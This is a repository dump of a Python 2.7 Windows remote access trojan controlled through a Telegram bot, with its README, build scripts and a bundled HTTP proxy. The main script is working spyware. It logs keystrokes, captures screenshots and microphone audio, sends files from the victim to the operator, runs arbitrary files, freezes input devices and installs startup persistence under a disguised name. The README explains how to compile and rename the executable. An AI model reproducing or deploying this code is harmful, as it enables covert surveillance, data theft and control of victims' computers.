Repository: Dviros/RAT-via-Telegram Branch: master Commit: 14a8a16d34fb Files: 9 Total size: 47.0 KB Directory structure: gitextract_ngogcj5m/ ├── LICENSE ├── RATAttack.py ├── README.md ├── compileAndRun.bat ├── proxy.py ├── pyHook-1.5.1-cp27-cp27m-win32.whl ├── pyHook-1.5.1-cp27-cp27m-win_amd64.whl ├── requirements.txt └── run.bat ================================================ FILE CONTENTS ================================================ ================================================ FILE: LICENSE ================================================ MIT License Copyright (c) 2017 Ritiek Malhotra Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: RATAttack.py ================================================ #Todo #Split functions to classes #Solve bugs #Allow multi-keyboard capability #Add new features from the Master fork #Implement the new telepot MessageLoop() Class from PIL import ImageGrab # /capture_pc from shutil import copyfile, copyfileobj, rmtree # /ls, /pwd, /cd /copy from sys import argv, path, stdout # console output from json import loads # reading json from ipinfo.io from winshell import startup # persistence from tendo import singleton # this makes the application exit if there's another instance already running from win32com.client import Dispatch # used for WScript.Shell from time import strftime, sleep import time import threading # used for proxy import proxy import pyaudio, wave # /hear import telepot, requests # telepot => telegram, requests => file download from telepot.namedtuple import InlineKeyboardMarkup, InlineKeyboardButton from telepot.loop import MessageLoop import os, os.path, platform, ctypes import pyHook, pythoncom #keylogger import getpass import socket # global content_type, chat_type, chat_id global content_type, chat_type, chat_id, response, command def checkchat_id(chat_id): return len(known_ids) == 0 or str(chat_id) in known_ids def pressed_chars(event): if event and type(event.Ascii) == int: f = open(log_file, "a") if len(event.GetKey()) > 1: tofile = '<' + event.GetKey() + '>' else: tofile = event.GetKey() if tofile == '': print tofile else: stdout.write(tofile) return not keyboardFrozen def internalIP(): internal_ip = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) internal_ip.connect(('google.com', 0)) return internal_ip.getsockname()[0] def user_input(bot, from_id, msg): target = '' bot.sendMessage(from_id, "What's the target?") #target = msg['text'] target = checkchat_id(msg[0]) return target def on_chat_message(msg): # chat_id = msg['chat']['id'] content_type, chat_type, chat_id = telepot.glance(msg) info_keyboard = InlineKeyboardMarkup(inline_keyboard=[ [InlineKeyboardButton(text='hear: [time in seconds, default=5s]', callback_data='hear')], [InlineKeyboardButton(text='ip_info', callback_data='ip_info')], [InlineKeyboardButton(text='keylogs', callback_data='keylogs')], [InlineKeyboardButton(text='ls: [target_folder]', callback_data='ls')], [InlineKeyboardButton(text='PC_info', callback_data='pc_info')], [InlineKeyboardButton(text='PWD', callback_data='pwd')], [InlineKeyboardButton(text='Tasklist: Returns the tasklist', callback_data='tasklist')], [InlineKeyboardButton(text='Self_Destruct', callback_data='self_destruct')], [InlineKeyboardButton(text='arp: Returns ARP Table', callback_data='arp')], [InlineKeyboardButton(text='DNS_Cache: Returns the DNS cache', callback_data='dns')], [InlineKeyboardButton(text='NSlookup: Returns the DNS table from the DNS server', callback_data='nslookup')] ]) exec_keyboard = InlineKeyboardMarkup(inline_keyboard=[ [InlineKeyboardButton(text='Capture_PC', callback_data='capture_pc')], [InlineKeyboardButton(text='cd: ', callback_data='cd')], [InlineKeyboardButton(text='Delete: ', callback_data='delete')], [InlineKeyboardButton(text='Download: ', callback_data='download')], [InlineKeyboardButton(text='freeze_keyboard', callback_data='freeze_keyboard')], [InlineKeyboardButton(text='unfreeze_keyboard', callback_data='unfreeze_keyboard')], [InlineKeyboardButton(text='freeze_mouse', callback_data='freeze_mouse')], [InlineKeyboardButton(text='unfreeze_mouse', callback_data='unfreeze_mouse')], [InlineKeyboardButton(text='msg_box: ', callback_data='msg_box')], [InlineKeyboardButton(text='Play: ', callback_data='play')], [InlineKeyboardButton(text='Proxy', callback_data='proxy')], [InlineKeyboardButton(text='run ', callback_data='run')], [InlineKeyboardButton(text='Self_Destruct', callback_data='self_destruct')], [InlineKeyboardButton(text='Upload', callback_data='upload')], [InlineKeyboardButton(text='Ping: Ping a target', callback_data='ping')] ]) bot_keyboard = InlineKeyboardMarkup(inline_keyboard=[ [InlineKeyboardButton(text='Self_Destruct', callback_data='self_destruct')], [InlineKeyboardButton(text='Reboot the bot', callback_data='reboot_bot')], [InlineKeyboardButton(text='Reboot the computer', callback_data='reboot_pc')], [InlineKeyboardButton(text='Shutdown the computer', callback_data='shutdown_pc')], ]) bot.sendMessage(chat_id, 'Information Gathering Commands:', reply_markup=info_keyboard) bot.sendMessage(chat_id, 'Executable Commands:', reply_markup=exec_keyboard) bot.sendMessage(chat_id, 'Management Commands:', reply_markup=bot_keyboard) if checkchat_id(chat_id): if 'text' in msg: print 'Got message from ' + str(chat_id) + ': ' + msg['text'] def on_callback_query(msg): command = '' file_name = '' response = '' target = '' query_id, from_id, query_data = telepot.glance(msg, flavor='callback_query') print('Callback Query:', query_id, from_id, query_data) if query_data == 'capture_pc': bot.sendChatAction(from_id, 'typing') screenshot = ImageGrab.grab() screenshot.save('screenshot.jpg') bot.sendChatAction(from_id, 'upload_photo') bot.sendDocument(from_id, open('screenshot.jpg', 'rb')) os.remove('screenshot.jpg') elif query_data == 'arp': bot.sendChatAction(from_id, 'typing') lines = os.popen('arp -a -N ' + internalIP()) for line in lines: line.replace('\n\n', '\n') response += line bot.sendMessage(from_id, response) elif query_data == 'dns': bot.sendChatAction(from_id, 'typing') lines = os.popen('ipconfig /displaydns') for line in lines: line.replace('\n\n', '\n') if len(line) > 2000: response2 += line else: response += line bot.sendMessage(from_id, response) bot.sendMessage(from_id, response2) #Too long, can't be sent - needs to be splited elif query_data == 'nslookup': bot.sendChatAction(from_id, 'typing') lines = os.popen('nslookup -ls -d *') for line in lines: line.replace('\n\n', '\n') response += line bot.sendMessage(from_id, response) elif query_data == 'ping': bot.sendChatAction(from_id, 'typing') target = user_input(bot, from_id, msg) print target # # bot.sendMessage(from_id, "What's the target?") # bot.answerCallbackQuery() # target = query_data # lines = os.popen('ping '+ target) for line in lines: line.replace('\n\n', '\n') response += line bot.sendMessage(from_id, response) elif query_data == 'delete': command = command.replace('/delete', '') path_file = command.strip() try: os.remove(path_file) response = 'Succesfully removed file' bot.sendMessage(from_id, response) except: try: os.rmdir(path_file) response = 'Succesfully removed folder' bot.sendMessage(from_id, response) except: try: shutil.rmtree(path_file) response = 'Succesfully removed folder and it\'s files' bot.sendMessage(from_id, response) except: response = 'File not found' bot.sendMessage(from_id, response) elif query_data == 'download': bot.sendChatAction(from_id, 'typing') path_file = command.replace('/download', '') path_file = path_file[1:] if path_file == '': response = 'Please type the full path to download, for example, "c:\windows\system32\hal.dll"' bot.sendMessage(from_id, response) while path_file == '': query_data = path_file bot.message else: bot.sendChatAction(from_id, 'upload_document') try: bot.sendDocument(from_id, open(path_file, 'rb')) except: try: bot.sendDocument(from_id, open(hide_folder + '\\' + path_file)) response = 'Found in hide_folder: ' + hide_folder bot.sendMessage(from_id, response) except: response = 'Could not find ' + path_file bot.sendMessage(from_id, response) #response = '/download C:/path/to/file.name or /download file.name' #bot.sendMessage(from_id, response) else: bot.sendChatAction(from_id, 'upload_document') try: bot.sendDocument(from_id, open(path_file, 'rb')) except: try: bot.sendDocument(from_id, open(hide_folder + '\\' + path_file)) response = 'Found in hide_folder: ' + hide_folder bot.sendMessage(from_id, response) except: response = 'Could not find ' + path_file bot.sendMessage(from_id, response) elif query_data == 'freeze_keyboard': global keyboardFrozen keyboardFrozen = not command.startswith('un') hookManager.KeyAll = lambda event: not keyboardFrozen response = 'Keyboard is now ' if keyboardFrozen: response += 'disabled. To enable, use unfreeze_keyboard' bot.sendMessage(from_id, response) else: response += 'enabled' bot.sendMessage(from_id, response) elif query_data == 'unfreeze_keyboard': hookManager.KeyAll = lambda event: keyboardFrozen response = 'Keyboard is now enabled' bot.sendMessage(from_id, response) elif query_data == 'freeze_mouse': global mouseFrozen mouseFrozen = not command.startswith('/un') hookManager.MouseAll = lambda event: not mouseFrozen hookManager.HookMouse() response = 'Mouse is now ' if mouseFrozen: response += 'disabled. To enable, use unfreeze_mouse' bot.sendMessage(from_id, response) else: response += 'enabled' bot.sendMessage(from_id, response) elif query_data == 'unfreeze_mouse': hookManager.MouseAll = lambda event: mouseFrozen response = 'Mouse is now unfreeze' bot.sendMessage(from_id, response) elif query_data == 'hear': SECONDS = -1 try: SECONDS = int(command.replace('/hear', '').strip()) except: SECONDS = 5 CHANNELS = 2 CHUNK = 1024 FORMAT = pyaudio.paInt16 RATE = 44100 audio = pyaudio.PyAudio() bot.sendChatAction(from_id, 'typing') stream = audio.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=True, frames_per_buffer=CHUNK) frames = [] for i in range(0, int(RATE / CHUNK * SECONDS)): data = stream.read(CHUNK) frames.append(data) stream.stop_stream() stream.close() audio.terminate() wav_path = hide_folder + '\\mouthlogs.wav' waveFile = wave.open(wav_path, 'wb') waveFile.setnchannels(CHANNELS) waveFile.setsampwidth(audio.get_sample_size(FORMAT)) waveFile.setframerate(RATE) waveFile.writeframes(b''.join(frames)) waveFile.close() bot.sendChatAction(from_id, 'upload_document') bot.sendAudio(from_id, audio=open(wav_path, 'rb')) elif query_data == 'ip_info': bot.sendChatAction(from_id, 'find_location') info = requests.get('http://ipinfo.io').text # json format response = 'External IP: ' + info.replace('{', '').replace('}', '').replace(' "', '').replace('"', '') + '\n' + 'Internal IP: ' + '\n' + internalIP() bot.sendMessage(from_id, response) location = (loads(info)['loc']).split(',') bot.sendLocation(from_id, location[0], location[1]) elif query_data == 'keylogs': bot.sendChatAction(from_id, 'upload_document') bot.sendDocument(from_id, open(log_file, "rb")) elif query_data == 'ls': bot.sendChatAction(from_id, 'typing') command = command.replace('/ls', '') command = command.strip() files = [] if len(command) > 0: files = os.listdir(command) else: files = os.listdir(os.getcwd()) human_readable = '' for file in files: human_readable += file + '\n' response = human_readable bot.sendMessage(from_id, response) elif query_data == 'msg_box': message = command.replace('/msg_box', '') if message == '': response = '/msg_box yourText' bot.sendMessage(from_id, response) else: ctypes.windll.user32.MessageBoxW(0, message, u'Information', 0x40) response = 'MsgBox displayed' bot.sendMessage(from_id, response) elif query_data == 'pc_info': bot.sendChatAction(from_id, 'typing') info = '' for pc_info in platform.uname(): info += '\n' + pc_info response = info + '\n' + 'Username: ' + getpass.getuser() bot.sendMessage(from_id, response) elif query_data == 'play': command = command.replace('/play ', '') command = command.strip() if len(command) > 0: systemCommand = 'start \"\" \"https://www.youtube.com/embed/' systemCommand += command systemCommand += '?autoplay=1&showinfo=0&controls=0\"' if os.system(systemCommand) == 0: response = 'YouTube video is now playing' bot.sendMessage(from_id, response) else: response = 'Failed playing YouTube video' bot.sendMessage(from_id, response) else: response = '/play \n/play A5ZqNOJbamU' bot.sendMessage(from_id, response) elif query_data == 'proxy': threading.Thread(target=proxy.main).start() info = requests.get('http://ipinfo.io').text # json format ip = (loads(info)['ip']) response = 'Proxy succesfully setup on ' + ip + ':8081' bot.sendMessage(from_id, response) elif query_data == 'pwd': response = os.getcwd() bot.sendMessage(from_id, response) elif query_data == 'tasklist': response2 = '' lines = os.popen('tasklist /FI "STATUS eq RUNNING"') for line in lines: line.replace('\n\n', '\n') if len(line)>2000: response2 +=line else: response += line print len(response) bot.sendMessage(from_id, response) bot.sendMessage(from_id, response2) elif query_data == 'run': bot.sendChatAction(from_id, 'typing') path_file = command.replace('/run', '') path_file = path_file[1:] if path_file == '': response = '/run_file C:/path/to/file' bot.sendMessage(from_id, response) else: try: os.startfile(path_file) response = 'File ' + path_file + ' has been run' bot.sendMessage(from_id, response) except: try: os.startfile(hide_folder + '\\' + path_file) response = 'File ' + path_file + ' has been run from hide_folder' bot.sendMessage(from_id, response) except: response = 'File not found' bot.sendMessage(from_id, response) elif query_data == 'self_destruct': bot.sendChatAction(from_id, 'typing') response = 'Destroying all traces!' bot.sendMessage(from_id, response) if os.path.exists(hide_folder): for file in os.listdir(hide_folder): try: os.remove(hide_folder + '\\' + file) except: pass if os.path.isfile(target_shortcut): os.remove(target_shortcut) while True: sleep(10) elif query_data == 'to': command = command.replace('/to', '') if command == '': response = '/to , /msg_box Hello HOME-PC and WORK-PC' bot.sendMessage(from_id, response) else: targets = command[:command.index('/')] if platform.uname()[1] in targets: command = command.replace(targets, '') msg = {'text': command, 'chat': {'id': chat_id}} handle(msg) elif query_data == 'reboot': bot.sendChatAction(from_id, 'typing') response = 'Rebooting, please wait' bot.sendMessage(from_id, response) elif query_data == 'cd': command = command.replace('/cd ', '') try: os.chdir(command) response = os.getcwd() + '>' bot.sendMessage(from_id, response) except: response = 'No subfolder matching ' + command bot.sendMessage(from_id, response) elif query_data == 'reboot_pc': bot.sendChatAction(from_id, 'typing') command = os.popen('shutdown /r /f /t 0') response = 'Computer will be restarted NOW.' bot.sendMessage(from_id, response) elif query_data == 'shutdown_pc': bot.sendChatAction(from_id, 'typing') command = os.popen('shutdown /s /f /t 0') response = 'Computer will be shutdown NOW.' bot.sendMessage(from_id, response) elif query_data == 'upload': # Upload a file to target file_id = None if 'document' in msg: file_name = msg['document']['file_name'] file_id = msg['document']['file_id'] elif 'photo' in msg: file_time = int(time.time()) file_id = msg['photo'][1]['file_id'] file_name = file_id + '.jpg' file_path = bot.getFile(file_id=file_id)['file_path'] link = 'https://api.telegram.org/file/bot' + str(token) + '/' + file_path file = (requests.get(link, stream=True)).raw with open(hide_folder + '\\' + file_name, 'wb') as out_file: copyfileobj(file, out_file) response = 'File received succesfully.' bot.sendMessage(from_id, response) bot.answerCallbackQuery(query_id, text='DONE SON!') me = singleton.SingleInstance() # HIDING OPTIONS # --------------------------------------------- appdata_roaming_folder = 'APPDATA' # = 'C:\Users\Username\AppData\Roaming' hide_folder = appdata_roaming_folder + r'\Portal' # = 'C:\Users\Username\AppData\Roaming\Portal' compiled_name = 'portal.exe' # Name of compiled .exe to hide in hide_folder, i.e 'C:\Users\Username\AppData\Roaming\Portal\portal.exe' # --------------------------------------------- target_shortcut = startup() + '\\' + compiled_name.replace('.exe', '.lnk') if not os.path.exists(hide_folder): os.makedirs(hide_folder) hide_compiled = hide_folder + '\\' + compiled_name copyfile(argv[0], hide_compiled) shell = Dispatch('WScript.Shell') shortcut = shell.CreateShortCut(target_shortcut) shortcut.Targetpath = hide_compiled shortcut.WorkingDirectory = hide_folder shortcut.save() initi = False keyboardFrozen = False mouseFrozen = False user = os.environ.get("USERNAME") # Windows username to append keylogs.txt log_file = hide_folder + '\\keylogs.txt' hookManager = pyHook.HookManager() # functionalities dictionary: command:arguments with open(log_file, "a") as writing: writing.write("-------------------------------------------------\n") writing.write(user + " Log: " + strftime("%b %d@%H:%M") + "\n\n") # REPLACE THE LINE BELOW WITH THE TOKEN OF THE BOT YOU GENERATED! #token = os.environ['11111111:111111111111111111111111111111111'] # you can set your environment variable as well token = '11111111:111111111111111111111111111111111' # ADD YOUR chat_id TO THE LIST BELOW IF YOU WANT YOUR BOT TO ONLY RESPOND TO ONE PERSON! # known_ids = '' # known_ids = [] # known_ids.append(os.environ['TELE# GRAM_CHAT_ID']) # make sure to remove this line if you don't have this environment variable # known_ids.append(os.environ['TELEGRAM_CHAT_ID']) # make sure to remove this line if you don't have this environment variable #appdata_roaming_folder = os.environ['APPDATA'] # = 'C:\Users\Username\AppData\Roaming' known_ids = '111111111' bot = telepot.Bot(token) MessageLoop(bot, {'chat': on_chat_message, 'callback_query': on_callback_query}).run_as_thread() #bot.message_loop({'chat': on_chat_message, # 'callback_query': on_callback_query}) if len(known_ids) > 0: helloWorld = platform.uname()[1] + ": I'm up. Type anything to get the keyboard layout." print helloWorld # for known_id in known_ids: bot.sendMessage(known_ids, helloWorld) print 'Listening for commands on ' + platform.uname()[1] + '...' hookManager.KeyDown = pressed_chars hookManager.HookKeyboard() pythoncom.PumpMessages() ================================================ FILE: README.md ================================================ # RAT-via-Telegram ## Dviros's notes: Windows Remote Post Breach Tool via Telegram (Python 2.7), Originally created by Ritiek, Forked and modified by mvrozanti and then myself. The whole purpose of this tool is to demonstrate (as a "PoC") the control of an already breached machine, via Telegram. As the same with my already written tools, I do not promote illegal activities. This modified version uses Telegram bot API v2, instead of the traditional v1. The main change is keyboard buttons instead of text typing. I will try to add new features, close bugs and be compatible to the API v3, after adding the needed changes from "mvrozanti". In the meanwhile, cd, download, upload, run and delete commands will not work. ## Donations will be highly appreciated ![Monero Donation](https://i.imgur.com/AMK3OCh.png) ### Currently Working Features: - Run keylogger on the target - Get target PC's Windows version, processor and more - Get target PC's IP address information and approximate location on map - [WIP] Delete files or folder on target - Show current directory on target - [WIP] Change current directory on target - List current or specified directory on target - [WIP] Download any file from the target - Upload local files to the target. Send your image, pdf, exe or anything as `file` to the Telegram bot - Autostart playing a video in fullscreen and no controls for a youtube video on target - Screenshots of the target - [WIP] Execute any file on the target - Access to microphone on target - Start HTTP Proxy Server - Freeze target's keyboard - Return the target's ARP table - [WIP] Schedule tasks to run at specified time - [WIP] Freeze target's mouse - Get active processes and services - [WIP] Capture clipboard (Text, Image) - [WIP] Disable/Enable mouse/keyboard - [WIP] Hide desktop icons - [WIP] Update .exe on target - [WIP] Shutdown \ Reboot computer - [WIP] Self-Destruct RAT on the target - [WIP] Take snapshots from the webcam (if attached) - [WIP] Copy and Move files on the target - [WIP] Audio compression - More coming soon! ## Ritiek's legacy notes: ### Why another one? - The current Remote Administration Tools in the market face 2 major problems: - Lack of encryption. - Require port forwarding in order to control from hundreds of miles. - This RAT overcomes both these issues by using the Telegram bot API. - Fully encrypted. The data being exchanged cannot be spied upon using MITM tools. - Telegram messenger app provides a simple way to communicate to the target without configuring port forward before hand on the target. ## Screenshots: ## Installation & Usage: - Clone this repository. - Set up a new Telegram bot talking to the `BotFather`. - Copy this token and replace it in the beginning of the script. - Install the dependencies: `pip install -r requirements.txt`. - Install pyHook `64-bit` or `32-bit` depending on your system. - For 64-bit- `pip install pyHook-1.5.1-cp27-cp27m-win_amd64.whl`. - For 32-bit- `pip install pyHook-1.5.1-cp27-cp27m-win32.whl`. - To run the script: `python RATAttack.py`. - Find your bot on telegram and send some command to the bot to test it. - To restrict the bot so that it responds only to you, note down your `chat_id` from the console and replace it in the script and comment out the line `return True`. Don't worry, you'll know when you read the comments in the script. - A folder named `RATAttack` will be created in your working directory containing `keylogs.txt` and any files you upload to the bot. ## Compiling: ### How To Compile: #### Either: Replace your path in compileAndRun.bat (running this will actually run the executable) #### Or: Run `pyinstaller --onefile --noconsole C:\path\to\RATAttack.py`. You can also pass `--icon=` to use any custom icon. - Once it is compiled successfully, find the `.exe` file in `C:\Python27\Scripts\dist\`. You can change the name of the `.exe` to anything you wish. - **BEWARE!** If you run the compiled `.exe`, the script will hide itself and infect your PC to run at startup. You can return to normal by using the `/self_destruct` option or manually removing `C:\Users\Username\AppData\Roaming\Portal` directory and `C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\portal.lnk` (although I recommend removing them manually for the time being). ### Modifying Settings: - You can also modify the name of hidden `.exe` file and location & name of the folder where the hidden `.exe` will hide itself. To do this; modify `compiled_name` and `hide_folder` respectively. - Assign your known chat ids to beginning of RATAttack.py ## License: `The MIT License` ================================================ FILE: compileAndRun.bat ================================================ rem --specpath "D:\Google Drive\Programming\Python\RAT-via-Telegram\" --distpath "D:\Google Drive\Programming\Python\RAT-via-Telegram\dist" --workpath "D:\Google Drive\Programming\Python\RAT-via-Telegram\build" pyinstaller --clean --upx-dir "upx393w" --onefile "D:\Google Drive\Programming\Python\RAT-via-Telegram\RATAttack.py" "D:\Google Drive\Programming\Python\RAT-via-Telegram\dist\RATAttack.exe" ================================================ FILE: proxy.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- """ proxy.py ~~~~~~~~ HTTP Proxy Server in Python. :copyright: (c) 2013 by Abhinav Singh. :license: BSD, see LICENSE for more details. """ VERSION = (0, 2) __version__ = '.'.join(map(str, VERSION[0:2])) __description__ = 'HTTP Proxy Server in Python' __author__ = 'Abhinav Singh' __author_email__ = 'mailsforabhinav@gmail.com' __homepage__ = 'https://github.com/abhinavsingh/proxy.py' __license__ = 'BSD' import sys import threading import datetime import argparse import logging import socket import select logger = logging.getLogger(__name__) # True if we are running on Python 3. PY3 = sys.version_info[0] == 3 if PY3: text_type = str binary_type = bytes from urllib import parse as urlparse else: text_type = unicode binary_type = str import urlparse def text_(s, encoding='utf-8', errors='strict'): """ If ``s`` is an instance of ``binary_type``, return ``s.decode(encoding, errors)``, otherwise return ``s``""" if isinstance(s, binary_type): return s.decode(encoding, errors) return s # pragma: no cover def bytes_(s, encoding='utf-8', errors='strict'): """ If ``s`` is an instance of ``text_type``, return ``s.encode(encoding, errors)``, otherwise return ``s``""" if isinstance(s, text_type): # pragma: no cover return s.encode(encoding, errors) return s version = bytes_(__version__) CRLF, COLON, SP = b'\r\n', b':', b' ' HTTP_REQUEST_PARSER = 1 HTTP_RESPONSE_PARSER = 2 HTTP_PARSER_STATE_INITIALIZED = 1 HTTP_PARSER_STATE_LINE_RCVD = 2 HTTP_PARSER_STATE_RCVING_HEADERS = 3 HTTP_PARSER_STATE_HEADERS_COMPLETE = 4 HTTP_PARSER_STATE_RCVING_BODY = 5 HTTP_PARSER_STATE_COMPLETE = 6 CHUNK_PARSER_STATE_WAITING_FOR_SIZE = 1 CHUNK_PARSER_STATE_WAITING_FOR_DATA = 2 CHUNK_PARSER_STATE_COMPLETE = 3 class ChunkParser(object): """HTTP chunked encoding response parser.""" def __init__(self): self.state = CHUNK_PARSER_STATE_WAITING_FOR_SIZE self.body = b'' self.chunk = b'' self.size = None def parse(self, data): more = True if len(data) > 0 else False while more: more, data = self.process(data) def process(self, data): if self.state == CHUNK_PARSER_STATE_WAITING_FOR_SIZE: line, data = HttpParser.split(data) self.size = int(line, 16) self.state = CHUNK_PARSER_STATE_WAITING_FOR_DATA elif self.state == CHUNK_PARSER_STATE_WAITING_FOR_DATA: remaining = self.size - len(self.chunk) self.chunk += data[:remaining] data = data[remaining:] if len(self.chunk) == self.size: data = data[len(CRLF):] self.body += self.chunk if self.size == 0: self.state = CHUNK_PARSER_STATE_COMPLETE else: self.state = CHUNK_PARSER_STATE_WAITING_FOR_SIZE self.chunk = b'' self.size = None return len(data) > 0, data class HttpParser(object): """HTTP request/response parser.""" def __init__(self, type=None): self.state = HTTP_PARSER_STATE_INITIALIZED self.type = type if type else HTTP_REQUEST_PARSER self.raw = b'' self.buffer = b'' self.headers = dict() self.body = None self.method = None self.url = None self.code = None self.reason = None self.version = None self.chunker = None def parse(self, data): self.raw += data data = self.buffer + data self.buffer = b'' more = True if len(data) > 0 else False while more: more, data = self.process(data) self.buffer = data def process(self, data): if self.state >= HTTP_PARSER_STATE_HEADERS_COMPLETE and \ (self.method == b"POST" or self.type == HTTP_RESPONSE_PARSER): if not self.body: self.body = b'' if b'content-length' in self.headers: self.state = HTTP_PARSER_STATE_RCVING_BODY self.body += data if len(self.body) >= int(self.headers[b'content-length'][1]): self.state = HTTP_PARSER_STATE_COMPLETE elif b'transfer-encoding' in self.headers and self.headers[b'transfer-encoding'][1].lower() == b'chunked': if not self.chunker: self.chunker = ChunkParser() self.chunker.parse(data) if self.chunker.state == CHUNK_PARSER_STATE_COMPLETE: self.body = self.chunker.body self.state = HTTP_PARSER_STATE_COMPLETE return False, b'' line, data = HttpParser.split(data) if line == False: return line, data if self.state < HTTP_PARSER_STATE_LINE_RCVD: self.process_line(line) elif self.state < HTTP_PARSER_STATE_HEADERS_COMPLETE: self.process_header(line) if self.state == HTTP_PARSER_STATE_HEADERS_COMPLETE and \ self.type == HTTP_REQUEST_PARSER and \ not self.method == b"POST" and \ self.raw.endswith(CRLF*2): self.state = HTTP_PARSER_STATE_COMPLETE return len(data) > 0, data def process_line(self, data): line = data.split(SP) if self.type == HTTP_REQUEST_PARSER: self.method = line[0].upper() self.url = urlparse.urlsplit(line[1]) self.version = line[2] else: self.version = line[0] self.code = line[1] self.reason = b' '.join(line[2:]) self.state = HTTP_PARSER_STATE_LINE_RCVD def process_header(self, data): if len(data) == 0: if self.state == HTTP_PARSER_STATE_RCVING_HEADERS: self.state = HTTP_PARSER_STATE_HEADERS_COMPLETE elif self.state == HTTP_PARSER_STATE_LINE_RCVD: self.state = HTTP_PARSER_STATE_RCVING_HEADERS else: self.state = HTTP_PARSER_STATE_RCVING_HEADERS parts = data.split(COLON) key = parts[0].strip() value = COLON.join(parts[1:]).strip() self.headers[key.lower()] = (key, value) def build_url(self): if not self.url: return b'/None' url = self.url.path if url == b'': url = b'/' if not self.url.query == b'': url += b'?' + self.url.query if not self.url.fragment == b'': url += b'#' + self.url.fragment return url def build_header(self, k, v): return k + b": " + v + CRLF def build(self, del_headers=None, add_headers=None): req = b" ".join([self.method, self.build_url(), self.version]) req += CRLF if not del_headers: del_headers = [] for k in self.headers: if not k in del_headers: req += self.build_header(self.headers[k][0], self.headers[k][1]) if not add_headers: add_headers = [] for k in add_headers: req += self.build_header(k[0], k[1]) req += CRLF if self.body: req += self.body return req @staticmethod def split(data): pos = data.find(CRLF) if pos == -1: return False, data line = data[:pos] data = data[pos+len(CRLF):] return line, data class Connection(object): """TCP server/client connection abstraction.""" def __init__(self, what): self.buffer = b'' self.closed = False self.what = what # server or client def send(self, data): return self.conn.send(data) def recv(self, bytes=8192): try: data = self.conn.recv(bytes) if len(data) == 0: logger.debug('recvd 0 bytes from %s' % self.what) return None logger.debug('rcvd %d bytes from %s' % (len(data), self.what)) return data except Exception as e: logger.exception('Exception while receiving from connection %s %r with reason %r' % (self.what, self.conn, e)) return None def close(self): self.conn.close() self.closed = True def buffer_size(self): return len(self.buffer) def has_buffer(self): return self.buffer_size() > 0 def queue(self, data): self.buffer += data def flush(self): sent = self.send(self.buffer) self.buffer = self.buffer[sent:] logger.debug('flushed %d bytes to %s' % (sent, self.what)) class Server(Connection): """Establish connection to destination server.""" def __init__(self, host, port): super(Server, self).__init__(b'server') self.addr = (host, int(port)) def connect(self): self.conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.conn.connect((self.addr[0], self.addr[1])) class Client(Connection): """Accepted client connection.""" def __init__(self, conn, addr): super(Client, self).__init__(b'client') self.conn = conn self.addr = addr class ProxyError(Exception): pass class ProxyConnectionFailed(ProxyError): def __init__(self, host, port, reason): self.host = host self.port = port self.reason = reason def __str__(self): return '' % (self.host, self.port, self.reason) class Proxy(threading.Thread): """HTTP proxy implementation. Accepts connection object and act as a proxy between client and server. """ def __init__(self, client): super(Proxy, self).__init__() self.start_time = self._now() self.last_activity = self.start_time self.client = client self.server = None self.request = HttpParser() self.response = HttpParser(HTTP_RESPONSE_PARSER) self.connection_established_pkt = CRLF.join([ b'HTTP/1.1 200 Connection established', b'Proxy-agent: proxy.py v' + version, CRLF ]) def _now(self): return datetime.datetime.utcnow() def _inactive_for(self): return (self._now() - self.last_activity).seconds def _is_inactive(self): return self._inactive_for() > 30 def _process_request(self, data): # once we have connection to the server # we don't parse the http request packets # any further, instead just pipe incoming # data from client to server if self.server and not self.server.closed: self.server.queue(data) return # parse http request self.request.parse(data) # once http request parser has reached the state complete # we attempt to establish connection to destination server if self.request.state == HTTP_PARSER_STATE_COMPLETE: logger.debug('request parser is in state complete') if self.request.method == b"CONNECT": host, port = self.request.url.path.split(COLON) elif self.request.url: host, port = self.request.url.hostname, self.request.url.port if self.request.url.port else 80 self.server = Server(host, port) try: logger.debug('connecting to server %s:%s' % (host, port)) self.server.connect() logger.debug('connected to server %s:%s' % (host, port)) except Exception as e: self.server.closed = True raise ProxyConnectionFailed(host, port, repr(e)) # for http connect methods (https requests) # queue appropriate response for client # notifying about established connection if self.request.method == b"CONNECT": self.client.queue(self.connection_established_pkt) # for usual http requests, re-build request packet # and queue for the server with appropriate headers else: self.server.queue(self.request.build( del_headers=[b'proxy-connection', b'connection', b'keep-alive'], add_headers=[(b'Connection', b'Close')] )) def _process_response(self, data): # parse incoming response packet # only for non-https requests if not self.request.method == b"CONNECT": self.response.parse(data) # queue data for client self.client.queue(data) def _access_log(self): host, port = self.server.addr if self.server else (None, None) if self.request.method == b"CONNECT": logger.info("%s:%s - %s %s:%s" % (self.client.addr[0], self.client.addr[1], self.request.method, host, port)) elif self.request.method: logger.info("%s:%s - %s %s:%s%s - %s %s - %s bytes" % (self.client.addr[0], self.client.addr[1], self.request.method, host, port, self.request.build_url(), self.response.code, self.response.reason, len(self.response.raw))) def _get_waitable_lists(self): rlist, wlist, xlist = [self.client.conn], [], [] logger.debug('*** watching client for read ready') if self.client.has_buffer(): logger.debug('pending client buffer found, watching client for write ready') wlist.append(self.client.conn) if self.server and not self.server.closed: logger.debug('connection to server exists, watching server for read ready') rlist.append(self.server.conn) if self.server and not self.server.closed and self.server.has_buffer(): logger.debug('connection to server exists and pending server buffer found, watching server for write ready') wlist.append(self.server.conn) return rlist, wlist, xlist def _process_wlist(self, w): if self.client.conn in w: logger.debug('client is ready for writes, flushing client buffer') self.client.flush() if self.server and not self.server.closed and self.server.conn in w: logger.debug('server is ready for writes, flushing server 